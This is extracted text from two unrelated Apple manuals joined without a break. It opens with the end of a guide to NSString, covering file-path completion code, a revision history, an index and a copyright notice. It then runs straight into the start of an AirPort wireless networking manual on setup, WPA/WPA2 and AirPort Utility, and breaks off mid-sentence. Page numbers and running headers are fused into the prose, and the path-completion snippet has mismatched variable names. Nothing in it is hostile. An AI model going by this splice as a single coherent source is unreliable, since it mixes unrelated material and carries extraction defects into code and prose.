ReadMe.txt readme.html readme.rtf recondite.txt test.txt
you can find all possible completions for the path ~/Demo/r as follows:
NSString *partialPath = @"~/Demo/r";
NSString *longestCompletion;
NSArray *outputArray;
unsigned allMatches = [partialPath completePathIntoString:&longestCompletion
caseSensitive:NO
matchesIntoArray:&outputArray
filterTypes:NULL];
// allMatches = 3
// longestCompletion = @"~/Demo/re"
// outputArray = (@"~/Demo/readme.html", "~/Demo/readme.rtf", "~/Demo/recondite.txt")
You can find possible completions for the path ~/Demo/r that have an extension “.txt” or “.rtf” as follows:
NSArray *filterTypes = @[@"txt", @"rtf"];
unsigned textMatches = [partialPath completePathIntoString:&outputName
caseSensitive:NO
matchesIntoArray:&outputArray
filterTypes:filterTypes];
// allMatches = 2
// longestCompletion = @"~/Demo/re"
// outputArray = (@"~/Demo/readme.rtf", @"~/Demo/recondite.txt")
String Representations of File Paths
File Name Completion
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
43You can draw string objects directly in a focused NSView using methods such as
drawAtPoint:withAttributes: (to draw a string with multiple attributes, such as multiple text fonts, you
must use an NSAttributedString object). These methods are described briefly in “Text” in Cocoa Drawing
Guide .
The simple methods, however, are designed for drawing small amounts of text or text that is only drawn
rarely—they create and dispose of various supporting objects every time you call them. To draw strings
repeatedly, it is more efficient to use NSLayoutManager, as described in “Drawing Strings”. For an overview of
the Cocoa text system, of which NSLayoutManager is a part, see Cocoa Text Architecture Guide .
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
44
Drawing StringsThis table describes the changes to String Programming Guide .
Date Notes
2012-07-17 Updated code snippets to adopt new Objective-C features.
Corrected string constant character set to UTF-8. Added guidance about
using localizedStandardCompare: for Finder-like sorting. Added caveat
to avoid using %s with RTL languages. Revised "String Format Specifiers"
article.
2012-06-11
2009-10-15 Added links to Cocoa Core Competencies.
Added new aricle on character clusters; updated list of string format
specifiers.
2008-10-15
2007-10-18 Corrected minor typographical errors.
Added notes regarding NSInteger and NSUInteger to "String Format
Specifiers".
2007-07-10
2007-03-06 Corrected minor typographical errors.
2007-02-08 Corrected sentence fragments and improved the example in "Scanners."
2006-12-05 Added code samples to illustrate searching and path manipulation.
2006-11-07 Made minor revisions to "Scanners" article.
2006-10-03 Added links to path manipulation methods.
2006-06-28 Corrected typographical errors.
Added a new article, "Reading Strings From and Writing Strings To Files
and URLs"; significantly updated "Creating and Converting Strings."
2006-05-23
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
45
Document Revision HistoryDate Notes
Included “Creating a Character Set” into “Character Sets” (page 33).
Changed title from "Strings" to conform to reference consistency
guidelines.
2006-01-10
Added “Formatting String Objects” (page 13) article. Added Data
Formatting and the Core Foundation Strings programming topics to the
introduction.
2004-06-28
Added information about custom Unicode character sets and retrieved
missing code fragments in “Creating a Character Set”. Added information
and cross-reference to “Drawing Strings” (page 44). Rewrote introduction
and added an index.
2004-02-06
Added NSNumericSearch description to “Searching, Comparing, and
Sorting Strings” (page 22).
2003-09-09
2003-03-17 Reinstated the sample code that was missing from “Scanners” (page 36).
Updated “Creating and Converting String Objects” (page 8) to
recommend the use of UTF8 encoding, and noted the pending deprecation
of the cString... methods.
2003-01-17
2002-11-12 Revision history was added to existing topic.
Document Revision History
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
46A
alloc method 34
archiving
character set objects 34
ASCII character encoding
converting string object contents 8
availableStringEncodings method 8
C
C strings
Cocoa string objects and 7
creating and converting 11
character encodings
string manipulation and 8
character sets
custom 34
example code 34
guidelines for use 34
mutable and immutable 33
saving to a file 35
standard 33, 35
characterAtIndex: method 7
characterSetWithContentsOfFile: method 35
compare: method 22
compare:options: method 22, 24
compare:options:range: method 22
comparing strings 22–23
comparison methods for strings 22
componentsSeparatedByString: method 11
current directories
resolving references to 40
D
dataUsingEncoding: method 11, 12
defaultCStringEncoding method 8
description method 13
descriptionWithLocale: method 13
directories
manipulating strings as paths 40, 42
E
encodings, character
string manipulation and 8
EUC character encoding 8
F
file-system paths and strings 42
format strings 13
G
getCharacters:length: method 12
I
init method
for mutable character sets 34
initWithData:encoding: method 8, 11, 12
initWithFormat: method 10
initWithFormat:locale: method 12
ISO Latin 1 character encoding 8
L
length method
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
47
Indexfor string objects 7
letterCharacterSet method 35
localization
scanning strings and 39
value formatting and 13
localizedScannerWithString: method 36, 39
localizedStringWithFormat: method 9, 12
lowercaseLetterCharacterSet method 35
M
myString: method 33
N
NSCharacterSet class 33
NSLayoutManager class 44
NSMutableCharacterSet class 33
NSMutableString class 7, 8
NSScanner class 23, 36–38
NSString class
creating string objects from 8
described 7
methods for representing file-system paths 40
scanners and 36
NSView class 44
P
parent directories
resolving references to 40
paths and strings 42
primitive methods
of NSString 7
printf function
NSString and 13
R
rangeOfCharacterFromSet: method 22, 33
rangeOfCharacterFromSet:options: method 22
rangeOfCharacterFromSet:options:range:
method 22
rangeOfComposedCharacterSequenceAtIndex:
method 23
rangeOfString: method 22
rangeOfString:options: method 22
rangeOfString:options:range: method 22
S
scan... methods 36
scanners 36, 38
instantiating 36
operation of 36
sample code 38
scannerWithString: method 36
scanUpToString:intoString: method 37
search methods
for strings 22
setCaseSensitive: method 36
setCharactersToBeSkipped: method 37
setLocale: method 39
setScanLocation: method 37
Shift-JIS character encoding 8
standard character sets 33, 35
string objects
combining and extracting 10
comparison methods 22
creating and converting 8–12
described 7
drawing 44
searching and comparing 22–23
stringByAppendingFormat: method 10, 12
stringByAppendingString: method 10, 12
stringWithCharacters:length: method 12
stringWithContentsOfFile: method 21
stringWithFormat: method 10
stringWithUTF8String: method 12
substringFromIndex: method 11
substringToIndex: method 11
Index
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
48substringWithRange: method 11
U
Unicode
characters in string objects 8
code points used to define character sets 34
in string objects 7
NSCharacterSet and 33
standard character sets 35
string comparison standard 22
UTF8 character encoding 11
UTF8String method 11, 12
V
value formatting
string conversion and 13
W
writeToFile:atomically: method 21
Index
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
49Apple Inc.
© 1997, 2012 Apple Inc.
All rights reserved.
No part of this publication may be reproduced,
stored in a retrievalsystem, or transmitted, in any
form or by any means, mechanical, electronic,
photocopying, recording, or otherwise, without
prior written permission of Apple Inc., with the
following exceptions: Any person is hereby
authorized to store documentation on a single
computer for personal use only and to print
copies of documentation for personal use
provided that the documentation contains
Apple’s copyright notice.
No licenses, express or implied, are granted with
respect to any of the technology described in this
document. Apple retains all intellectual property
rights associated with the technology described
in this document. This document is intended to
assist application developers to develop
applications only for Apple-labeled computers.
Apple Inc.
1 Infinite Loop
Cupertino, CA 95014
408-996-1010
Apple, the Apple logo, Cocoa, Finder, Mac,
Macintosh, Objective-C, OS X, and Safari are
trademarks of Apple Inc., registered in the U.S.
and other countries.
Even though Apple has reviewed this document,
APPLE MAKES NO WARRANTY OR REPRESENTATION,
EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS
DOCUMENT, ITS QUALITY, ACCURACY,
MERCHANTABILITY, OR FITNESS FOR A PARTICULAR
PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED
“AS IS,” AND YOU, THE READER, ARE ASSUMING THE
ENTIRE RISK AS TO ITS QUALITY AND ACCURACY.
IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT,
INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL
DAMAGES RESULTING FROM ANY DEFECT OR
INACCURACY IN THIS DOCUMENT, even if advised of
the possibility of such damages.
THE WARRANTY AND REMEDIES SET FORTH ABOVE
ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL
OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer,
agent, or employee is authorized to make any
modification, extension, or addition to this warranty.
Some states do not allow the exclusion or limitation
of implied warranties or liability for incidental or
consequential damages, so the above limitation or
exclusion may not apply to you. This warranty gives
you specific legal rights, and you may also have other
rights which vary from state to state.
Apple AirPort Networks2
1 Contents
Chapter 1 3 Getting Started
5 Configuring an Apple Wireless Device for Internet Access Using AirPort Utility
6 Extending the Range of Your AirPort Network
6 Sharing a USB Hard Disk Connected to an AirPort Extreme Base Station or Time Capsule
6 Printing with an Apple Wireless Device
6 Sharing Your Computer’s Internet Connection
Chapter 2 9 AirPort Security
9 Security for AirPort Networks at Home
10 Security for AirPort Networks in Businesses and Classrooms
11 Wi-Fi Protected Access (WPA) and WPA2
Chapter 3 14 AirPort Network Designs
15 Using AirPort Utility
17 Setting Up the AirPort Extreme Network
24 Configuring and Sharing Internet Access
41 Setting Advanced Options
43 Extending the Range of an 802.11n Network
45 Keeping Your Network Secure
49 Directing Network Traffic to a Specific Computer on Your Network (Port Mapping)
51 Logging
52 Using Back to My Mac on your Wireless Network
53 Setting up IPv6
54 Sharing and Securing USB Hard Disks on Your Network
55 Using a Time Capsule in Your Network
55 Connecting a USB Printer to an Apple Wireless Device
56 Adding a Wireless Client to Your 802.11n Network
57 Solving Problems
Chapter 4 59 Behind the Scenes
59 Basic Networking
63 Items That Can Cause Interference with AirPort
Glossary 641
3
1 Getting Started
AirPort offers the easiest way to provide wireless Internet
access and networking anywhere in the home, classroom,
or office.
AirPort is based on the latest Institute of Electrical and Electronics Engineers (IEEE)
802.11n draft specification and provides fast and reliable wireless networking in the
home, classroom, or small office. You can enjoy data transfer rates of up to five times
faster than data rates provided by the 802.11g standard and more than twice the
network range.
The new AirPort Extreme Base Station and the new Time Capsule are based on
simultaneous dual-band technology, so they work in both the 2.4 gigahertz (GHz)
or 5 GHz spectrum at the same time. And they are 100 percent backward-compatible,
so Mac computers and PCs that use 802.11a, 802.11b, 802.11g, or IEEE draft specification
802.11n wireless cards can connect to an AirPort wireless network. They also work
flawlessly with the AirPort Express for wireless music streaming and more. The
AirPort Extreme Base Station and Time Capsule have three additional 10/100/1000BaseT Gigabit Ethernet ports, so you don’t need to include another router in your network.
To set up an AirPort Extreme Base Station, an AirPort Express, or a Time Capsule, you
use AirPort Utility, the easy-to-use setup and management application. AirPort Utility
has a simple user experience, with all software controls accessible from the same
application. It provides better management of several Apple wireless devices, with
client-monitoring features and logging.
If you’re using AirPort Utility version 5.4 or later, you can set up a guest network, in
both the 2.4 GHz and 5 GHz bands, so that guests can connect to the Internet using
your AirPort network, while you keep your private network secure. You can also choose
to set up guest accounts that expire, to grant temporary access to your network; you
no longer need to give your network password to visitors in your home or office.
You can even set up accounts with time constraints for the best in parental controls.
AirPort Utility supports IPv6 and Bonjour, so you can “advertise” network services such
as printing and sharing a hard disk over the Wide Area Network (WAN) port.4 Chapter 1 Getting Started
Note: When the features discussed in this document apply to the AirPort Extreme Base
Station, AirPort Express, and Time Capsule, the devices are referred to collectively as
Apple wireless devices.
With an AirPort Extreme Base Station or a Time Capsule, you can connect a USB hard
disk so that everyone on the network can back up, store, and share files. Every
Time Capsule includes an internal AirPort disk, so you don’t need to connect an
external one. If you want, you can connect additional USB disks to the USB port on
your Time Capsule. You can also connect a USB printer to the USB port on any
Apple wireless device, so that everyone on the network can access the printer or hub.
All Apple wireless devices provide strong, wireless security. They offer a built-in firewall
and support industry-standard encryption technologies. Yet the simple setup utility
and powerful access controls make it easy for authorized users to connect to the
AirPort network they create.
You can use an Apple wireless device to provide wireless Internet access and share a
single Internet connection among several computers in the following ways:
 Set up the device to act as a router and provide Internet Protocol (IP) addresses to
computers on the network using Dynamic Host Configuration Protocol (DHCP) and
Network Address Translation (NAT). When the wireless device is connected to a DSL
or cable modem that is connected to the Internet, it receives webpages and email
content from the Internet through its Internet connection, and then sends the
content to wireless-enabled computers, using the wireless network or using Ethernet
if there are computers connected to the Ethernet ports.
 Set up the Apple wireless device to act as a bridge on an existing network that
already has Internet access and a router providing IP addresses. The device passes
IP addresses and the Internet connection to AirPort or wireless-enabled computers,
or computers connected to the wireless device by Ethernet.
This document provides information about the latest AirPort Extreme Base Station,
AirPort Express, and Time Capsule, and detailed information about designing 802.11n
networks with AirPort Utility for computers using Mac OS X v10.5 or later, and
Windows Vista or Windows XP with Service Pack 2. If you’re using previous versions of
Mac OS X, or are setting up earlier versions of AirPort devices, you’ll find more
information at www.apple.com/support/airport.Chapter 1 Getting Started 5
You can set up an Apple wireless device and connect to the Internet wirelessly in
minutes. But because Apple wireless devices are flexible and powerful networking
products, you can also create an AirPort network that does much more. If you want to
design an AirPort network that provides Internet access to non-AirPort computers via
Ethernet, or take advantage of some of your wireless device’s more advanced features,
use this document to design and implement your network. You can find more general
wireless networking information and an overview of AirPort technology in the earlier
AirPort documents, located at www.apple.com/support/manuals/airport.
Note: The images of AirPort Utility in this document are from Mac OS X v10.5. If you’re
using a Windows computer, the images you see in this document may be slightly
different from what you see on your screen.
Configuring an Apple Wireless Device for Internet Access
Using AirPort Utility
Like your computer, Apple wireless devices must be set up with the appropriate
hardware and IP networking information to connect to the Internet. Install
AirPort Utility, which came on the CD with your wireless device, and use it to provide
Internet configuration information and other network settings.
AirPort Utility combines the ease of use of AirPort Setup Assistant and the power of
AirPort Admin Utility. It is installed in the Utilities folder in the Applications folder on
a Macintosh computer using Mac OS X, and in Start > All Programs > AirPort on
computers using Windows. AirPort Utility walks you through the setup process by
asking a series of questions to determine how the device’s Internet connection and
other interfaces should be set up. Enter the settings you received from your ISP or
network administrator for Ethernet, PPP over Ethernet (PPPoE), or your local area
network (LAN); give your AirPort network a name and password; set up a device as
a wireless bridge to extend the range of your existing AirPort network; and set other
options.
When you’ve finished entering the settings, AirPort Utility transfers the settings to your
wireless device. Then it connects to the Internet and shares its Internet connection with
computers that join its AirPort network.
You can also create an AirPort network that takes advantage of the more advanced
networking features of Apple wireless devices. To set more advanced AirPort options,
use AirPort Utility to manually set up your wireless device’s configuration, or make
quick adjustments to one you’ve already set up. Some of the AirPort advanced
networking features can be configured only using the manual setup features in
AirPort Utility. 6 Chapter 1 Getting Started
Set up your Apple wireless device manually using AirPort Utility when:
 You want to provide Internet access to computers that connect to the wireless device
using Ethernet
 you’ve already set up your device, but you need to change one setting, such as your
account information
 You need to configure advanced settings such as channel frequency, advanced
security options, closed networks, DHCP lease time, access control, WAN privacy,
power controls, or port mapping or other options
For instructions on using AirPort Utility to manually set up your wireless device and
network, see “Using AirPort Utility” on page 15.
Extending the Range of Your AirPort Network
You can extend the range of your network by using AirPort Utility to set up wireless
connections among several devices in your network, or to connect a device using
Ethernet to create a roaming network. For more information on extending the range of
your network, see “Connecting Additional Wireless Devices to Your AirPort Network” on
page 41.
Sharing a USB Hard Disk Connected to an AirPort Extreme
Base Station or Time Capsule
If you’re using an AirPort Extreme Base Station or a Time Capsule, you can connect a
USB hard disk to it, and computers connected to the network—wired or wireless, Mac
or Windows—can share files using the hard disk. Every Time Capsule includes an
internal AirPort disk, so you don’t need to connect an external one. If you want, you can
connect additional USB disks to the USB port on your Time Capsule. See “Sharing and
Securing USB Hard Disks on Your Network” on page 54.
Printing with an Apple Wireless Device
If you have a compatible USB printer connected to your Apple wireless device,
computers on the AirPort network can use Bonjour (Apple’s zero-configuration
networking technology) to print to the printer. For instructions about printing to a
USB printer from a computer, see “Connecting a USB Printer to an Apple Wireless
Device” on page 55.
Sharing Your Computer’s Internet Connection
If your computer is connected to the Internet, you can share your Internet connection
with other computers using Mac OS X version 10.2 or later, or Windows XP with Service
Pack 2. This is sometimes called using your computer as a software base station.Chapter 1 Getting Started 7
You can share your Internet connection as long as your computer is connected to the
Internet. If your computer goes to sleep or is restarted, or if you lose your Internet
connection, you need to restart Internet sharing.
To start Internet sharing on a computer using Mac OS X v10.5 or later:
1 Open System Preferences and click Sharing.
2 Choose the port you want to use to share your Internet connection from the “Share
your connection using” pop-up menu.
3 Select the port you want to use to share your Internet connection in the “To computers
using” list. You can choose to share your Internet connection with AirPort-enabled
computers or computers with built-in Ethernet, for example.
4 Select Internet Sharing in the Services list.
5 If you want to share your Internet connection with computers using AirPort, click
AirPort Options to give your network a name and password. 8 Chapter 1 Getting Started
To start Internet sharing on a computer using Windows:
1 Open Control Panel from the Start menu, and then click “Network and Internet.”
2 Click “Network and Sharing Center.”
3 Click “Manage network connections” in the Tasks list.
4 Right-click the network connection you want to share, and then select Properties.
5 Click Sharing and then select “Allow other network users to connect through this
computer’s Internet connection.”
Note: If your Internet connection and your local network use the same port (built-in
Ethernet, for example), contact your ISP before you turn on Internet sharing. In some
cases (if you use a cable modem, for example) you might unintentionally affect the
network settings of other ISP customers, and your ISP might terminate your service to
prevent you from disrupting its network.
The following chapters explain AirPort security options, AirPort network design and
setup, and other advanced options.2
9
2 AirPort Security
This chapter provides an overview of the security features
available in AirPort.
Apple has designed its wireless devices to provide several levels of security, so
you can enjoy peace of mind when you access the Internet, manage online financial
transactions, or send and receive email. The AirPort Extreme Base Station and
Time Capsule also include a slot for inserting a lock to deter theft.
For information and instructions for setting up these security features, see “Setting Up
the AirPort Extreme Network” on page 17.
Security for AirPort Networks at Home
Apple gives you ways to protect your wireless AirPort network as well as the data that
travels over it.
NAT Firewall
You can isolate your wireless network with firewall protection. Apple wireless devices
have a built-in Network Address Translation (NAT) firewall that creates a barrier
between your network and the Internet, protecting data from Internet-based IP attacks.
The firewall is automatically turned on when you set up the device to share a single
Internet connection. For computers with a cable or DSL modem, AirPort can actually be
safer than a wired connection.
Closed Network
Creating a closed network keeps the network name and the very existence of your
network private. Prospective users of your network must know the network name
and password to access it. Use AirPort Utility, located in the Utilities folder in the
Applications folder on a Macintosh computer using Mac OS X, or in Start > All
Programs > AirPort on a computer using Windows, to create a closed network.10 Chapter 2 AirPort Security
Password Protection and Encryption
AirPort uses password protection and encryption to deliver a level of security
comparable to that of traditional wired networks. Users can be required to enter a
password to log in to the AirPort network. When transmitting data and passwords,
the wireless device uses up to 128-bit encryption, through either Wi-Fi Protected Access
(WPA), WPA2, or Wired Equivalent Privacy (WEP), to scramble data and help keep
it safe. If you’re setting up an 802.11n-based AirPort device, you can also use WEP
(Transitional Security Network) if both WEP-compatible and WPA/WPA2-compatible
computers will join your network.
Note: WPA security is available only to AirPort Extreme wireless devices; AirPort and
AirPort Extreme clients using Mac OS X 10.3 or later and AirPort 3.3 or later; and to
non-Apple clients using other 802.11 wireless adapters that support WPA. WPA2
security requires firmware version 5.6 or later for an AirPort Extreme Base Station,
firmware version 6.2 or later for an AirPort Express, firmware version 7.3 or later for a
Time Capsule, and a Macintosh computer with an AirPort Extreme wireless card using
AirPort 4.2 or later. If your computer uses Windows XP or Windows Vista, check the
documentation that came with your computer to see if your computer supports WPA2.
Security for AirPort Networks in Businesses and Classrooms
Businesses and schools need to restrict network communications to authorized users
and keep data safe from prying eyes. To meet this need, Apple wireless devices and
software provide a robust suite of security mechanisms. Use AirPort Utility to set up
these advanced security features.
Transmitter Power Control
Because radio waves travel in all directions, they can extend outside the confines of a
specific building. The Transmit Power setting in AirPort Utility lets you adjust the
transmission range of your device’s network. Only users within the network vicinity
have access to the network.
MAC Address Access Control
Every AirPort and wireless card have a unique Media Access Control (MAC) address.
For AirPort Cards and AirPort Extreme Cards, the MAC address is sometimes referred to
as the AirPort ID. Support for MAC address access control lets administrators set up a
list of MAC addresses and restrict access to the network to only those users whose MAC
addresses are in the access control list.Chapter 2 AirPort Security 11
RADIUS Support
The Remote Authentication Dial-In User Service (RADIUS) makes securing a large
network easy. RADIUS is an access control protocol that allows a system administrator
to create a central list of the user names and passwords of computers that can access
the network. Placing this list on a centralized server allows many wireless devices to
access the list and makes it easy to update. If the MAC address of a user’s computer
(which is unique to each 802.11 wireless card) is not on your approved MAC address list,
the user cannot join your network.
Wi-Fi Protected Access (WPA) and WPA2
There has been increasing concern about the vulnerabilities of WEP. In response, the
Wi-Fi Alliance, in conjunction with the IEEE, has developed enhanced, interoperable
security standards called Wi-Fi Protected Access (WPA) and WPA2.
WPA and WPA2 use specifications that bring together standards-based, interoperable
security mechanisms that significantly increase the level of data protection and access
control for wireless LANs. WPA and WPA2 provide wireless LAN users with a high-level
assurance that their data remains protected and that only authorized network users
can access the network. A wireless network that uses WPA or WPA2 requires all
computers that access the wireless network to have WPA or WPA2 support. WPA
provides a high level of data protection and (when used in Enterprise mode) requires
user authentication.
The main standards-based technologies that constitute WPA include Temporal Key
Integrity Protocol (TKIP), 802.1X, Message Integrity Check (MIC), and Extensible
Authentication Protocol (EAP).
TKIP provides enhanced data encryption by addressing the WEP encryption
vulnerabilities, including the frequency with which keys are used to encrypt the
wireless connection. 802.1X and EAP provide the ability to authenticate a user on
the wireless network.
802.1X is a port-based network access control method for wired as well as wireless
networks. The IEEE adopted 802.1X as a standard in August 2001.
The Message Integrity Check (MIC) is designed to prevent an attacker from capturing
data packets, altering them, and resending them. The MIC provides a strong
mathematical function in which the receiver and the transmitter each compute and
then compare the MIC. If they do not match, the data is assumed to have been
tampered with and the packet is dropped. If multiple MIC failures occur, the network
may initiate countermeasures.12 Chapter 2 AirPort Security
The EAP protocol known as TLS (Transport Layer Security) presents a user’s information
in the form of digital certificates. A user’s digital certificates can comprise user names
and passwords, smart cards, secure IDs, or any other identity credentials that the IT
administrator is comfortable using. WPA uses a wide variety of standards-based EAP
implementations, including EAP-Transport Layer Security (EAP-TLS), EAP-Tunnel
Transport Layer Security (EAP-TTLS), and Protected Extensible Authentication Protocol
(PEAP). AirPort Extreme also supports the Lightweight Extensible Authentication
Protocol (LEAP), a security protocol used by Cisco access points to dynamically assign a
different WEP key to each user. AirPort Extreme is compatible with Cisco’s LEAP security
protocol, enabling AirPort users to join Cisco-hosted wireless networks using LEAP.
In addition to TKIP, WPA2 supports the AES-CCMP encryption protocol. Based on the
very secure AES national standard cipher, combined with sophisticated cryptographic
techniques, AES-CCMP was specifically designed for wireless networks. Migrating from
WEP to WPA2 requires new firmware for the AirPort Extreme Base Station (version 5.6 or
later), and for AirPort Express (version 6.2 or later). Devices using WPA2 mode are not
backward compatible with WEP.
WPA and WPA2 have two modes:
 Personal mode, which relies on the capabilities of TKIP or AES-CCMP without
requiring an authentication server
 Enterprise mode, which uses a separate server, such as a RADIUS server, for user
authentication
WPA and WPA2 Personal
 For home or Small Office/Home Office (SOHO) networks, WPA and WPA2 operates in
Personal mode, taking into account that the typical household or small office does
not have an authentication server. Instead of authenticating with a RADIUS server,
users manually enter a password to log in to the wireless network. When a user
enters the password correctly, the wireless device starts the encryption process using
TKIP or AES-CCMP. TKIP or AES-CCMP takes the original password and derives
encryption keys mathematically from the network password. The encryption key is
regularly changed and rotated so that the same encryption key is never used twice.
Other than entering the network password, the user isn’t required to do anything to
make WPA or WPA2 Personal work in the home.Chapter 2 AirPort Security 13
WPA and WPA2 Enterprise
WPA is a subset of the draft IEEE 802.11i standard and effectively addresses the wireless
local area network (WLAN) security requirements for the enterprise. WPA2 is a full
implementation of the ratified IEEE 802.11i standard. In an enterprise with IT resources,
WPA should be used in conjunction with an authentication server such as RADIUS to
provide centralized access control and management. With this implementation in
place, the need for add-on solutions such as virtual private networks (VPNs) may be
eliminated, at least for securing wireless connections in a network.
For more information about setting up a WPA or WPA2 protected network, see
“Using Wi-Fi Protected Access” on page 45.3
14
3 AirPort Network Designs
This chapter provides overview information and instructions
for the types of AirPort Extreme networks you can set up, and
some of the advanced options of AirPort Extreme.
Use this chapter to design and set up your AirPort Extreme network.
Configuring your Apple wireless device to implement a network design requires
three steps:
Step 1: Setting Up the AirPort Extreme Network
Computers communicate with the wireless device over the AirPort wireless network.
When you set up the AirPort network created by the wireless device, you can name the
wireless network, assign a password that will be needed to join the wireless network,
and set other options.
Step 2: Configuring and Sharing Internet Access
When computers access the Internet through the AirPort Extreme network, the wireless
device connects to the Internet and transmits information to the computers over the
AirPort Extreme network. You provide the wireless device with settings appropriate for
your ISP and configure how the device shares this connection with other computers.
Step 3: Setting Advanced Options
These settings are optional for most users. They include using the Apple wireless device
as a bridge between your AirPort Extreme network and an Ethernet network, setting
advanced security options, extending the AirPort network to other wireless devices,
and fine-tuning other settings.
For specific instructions on all these steps, refer to the sections later in this chapter.
You can do most of your setup and configuration tasks using AirPort Utility, and
following the onscreen instructions to enter your ISP and network information. To set
advanced options, you need to use AirPort Utility to manually set up your Apple
wireless device and AirPort network.Chapter 3 AirPort Network Designs 15
Using AirPort Utility
To set up and configure your computer or Apple wireless device to use AirPort Extreme
for basic wireless networking and Internet access, use AirPort Utility and answer
a series of questions about your Internet settings and how you would like to set up
your network.
1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac,
or in Start > All Programs > AirPort on a Windows computer.
2 Select your device in the list on the left if there is more than one device in your
network. Click Continue, and then follow the onscreen instructions to enter the settings
from your ISP or network administrator for the type of network you want to set up. See
the network diagrams later in this chapter for the types of networks you can set up
using AirPort Utility.
To set up a more complicated network, or to make adjustments to a network you’ve
already set up, use the manual setup features in AirPort Utility.
Setting AirPort preferences
Use AirPort preferences to set up your wireless device to alert you when there are
updates available for your device. You can also set it up to notify you if there are
problems detected, and to provide instructions to help solve the problems.
To set AirPort preferences:
1 Open AirPort Utility, located in the Utilities folder inside the Applications folder on
a Mac, and in Start > All Programs > AirPort on a Windows computer.
2 Do one of the following:
 On a Mac, choose AirPort Utility > Preferences
 On a Windows computer, choose File > Preferences16 Chapter 3 AirPort Network Designs
Select from the following checkboxes:
 Select “Check for Updates when opening AirPort Utility” to automatically check the
Apple website for software and firmware updates each time you open AirPort Utility.
 Select the “Check for updates” checkbox, and then choose a time interval from the
pop-up menu, such as weekly, to check for software and firmware updates in the
background. AirPort Utility opens if updates are available.
 Select “Monitor Apple wireless devices for problems” to investigate problems that
may cause the device’s status light to blink amber. With the checkbox selected,
AirPort Utility opens if a problem is detected, and then provides instructions to help
resolve the problem. This option monitors all of the wireless devices on the network.
 Select “Only Apple wireless devices that I have configured” to monitor only the
devices you’ve set up using this computer.
Monitoring devices for problems requires an AirPort wireless device that supports
firmware version 7.0 or later.
To set up your wireless device manually:
1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac, or
in Start > All Programs > AirPort on a Windows computer.
2 Select your device in the list.
3 Choose Base Station > Manual Setup and enter the password if necessary. The default
device password is public.
If you don’t see your wireless device in the list:
1 Open the AirPort status menu in the menu bar on a Mac and make sure that you’ve
joined the AirPort network created by your wireless device. On a Windows computer,
hover the cursor over the wireless network icon in the status tray to make sure the
computer is connected to the correct network.
The default network name for an Apple wireless device is AirPort Network XXXXXX,
where XXXXXX is replaced with the last six digits of the AirPort ID, (or MAC address).
The AirPort ID is printed on the bottom of Apple wireless devices.
2 Make sure your computer’s network and TCP/IP settings are configured properly.
On a computer using Mac OS X, choose AirPort from the Show pop-up menu in the
Network pane of System Preferences. Then choose Using DHCP from the Configure IPv4
pop-up menu in the TCP/IP pane.
On a computer using Windows, right-click the wireless connection icon that displays
the AirPort network, and choose Status. Click Properties, select Internet Protocol
(TCP/IP), and then click Properties. Make sure “Obtain an IP address automatically” is
selected.Chapter 3 AirPort Network Designs 17
If you can’t open the wireless device settings:
1 Make sure your network and TCP/IP settings are configured properly.
On a computer using Mac OS X, select AirPort from the network connection services list
in the Network pane of System Preferences. Click Advanced, and then choose Using
DHCP from the Configure IPv4 pop-up menu in the TCP/IP pane.
On a computer using Windows, right-click the wireless connection icon that displays
the AirPort network, and choose Status. Click Properties, select Internet Protocol
(TCP/IP), and then click Properties. Make sure “Obtain an IP address automatically”
is selected.
2 Make sure you entered the wireless device password correctly. The default password
is public. If you’ve forgotten the device password, you can reset it to public by resetting
the device.
To temporarily reset the device password to public, hold down the reset button for one
second. To reset the device back to its default settings, hold the reset button for five full
seconds.
If you’re on an Ethernet network that has other devices, or you’re using Ethernet to
connect to the device:
AirPort Utility scans the Ethernet network to create the list of devices. As a result, when
you open AirPort Utility, you may see devices that you cannot configure.
Setting Up the AirPort Extreme Network
The first step in configuring your Apple wireless device is setting up the device and the
network it will create. You can set up most features using AirPort Utility and following
the onscreen instructions to enter the information from your ISP or network
administrator.
To configure a network manually or set advanced options, open your wireless device’s
configuration in AirPort Utility and manually set up your device and network.
1 Choose the network of the wireless device you want to configure from the AirPort
status menu on a computer using Mac OS X, or from the wireless connection icon in
the status tray on a computer using Windows.
2 Open AirPort Utility and select the wireless device from the list. If you don’t see the
device you want to configure, click Rescan to scan for available wireless devices, and
then select the one you want from the list. 18 Chapter 3 AirPort Network Designs
3 Choose Base Station > Manual Setup and enter the password if necessary. The default
device password is public.
You can also double-click the name of the wireless device to open its configuration in
a separate window. When you open the manual setup window, the Summary pane is
displayed. The summary pane provides information and status about your wireless
device and network.Chapter 3 AirPort Network Designs 19
If the wireless device reports a problem, the status icon turns yellow. Click Base Station
Status to display the problem and suggestions to resolve it.
Wireless Device Settings
Click the AirPort button, and then click Base Station or Time Capsule, depending on the
device you’re setting up, to enter information about the wireless device.
Give the Device a Name
Give the device an easily identifiable name. This makes it easy for administrators
to locate a specific device on an Ethernet network with several devices.
Change the Device Password
The device password protects its configuration so that only the administrator can
modify it. The default password is public. It is a good idea to change the device
password to prevent unauthorized changes to it.
If the password is not changed from public, you’ll not be prompted for a password
when you select it from the list and click Configure.
Other Information
 Allow configuration over the WAN port. This allows you to administer the wireless
device remotely.
 Advertise the wireless device over the Internet using Bonjour. If you have an account
with a dynamic DNS service, you can connect to it over the Internet.
 Set the device time automatically. If you have access to a Network Time Protocol
server, whether on your network or on the Internet, choose it from the pop-up menu.
This ensures your wireless device is set to the correct time.20 Chapter 3 AirPort Network Designs
Set Device Options
Click Base Station Options and set the following:
 Enter a contact name and location for the wireless device. The name and location are
included in some logs the device generates. The contact and location fields may be
helpful if you’ve more than one wireless device on your network.
 Set status light behavior to either Always On or Flash On Activity. If you choose Flash
On Activity, the device status light blinks when there is network traffic.
 If your wireless device supports it, select “Check for firmware updates” and choose an
